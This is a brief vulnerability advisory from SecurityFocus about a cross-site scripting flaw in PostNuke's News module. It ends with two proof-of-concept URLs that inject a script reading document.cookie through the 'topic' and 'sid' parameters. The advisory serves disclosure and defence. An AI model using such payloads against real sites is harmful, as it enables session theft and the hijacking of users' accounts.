source: http://www.securityfocus.com/bid/5809/info

A cross site scripting vulnerability has been reported for PostNuke. 

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting the web-based forum.

http://news.postnuke.com/modules.php?op=modload&name=News&file=index&catid=&topic=>
<script>alert(document.cookie);</script>

http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=
<script>alert(document.cookie);</script+>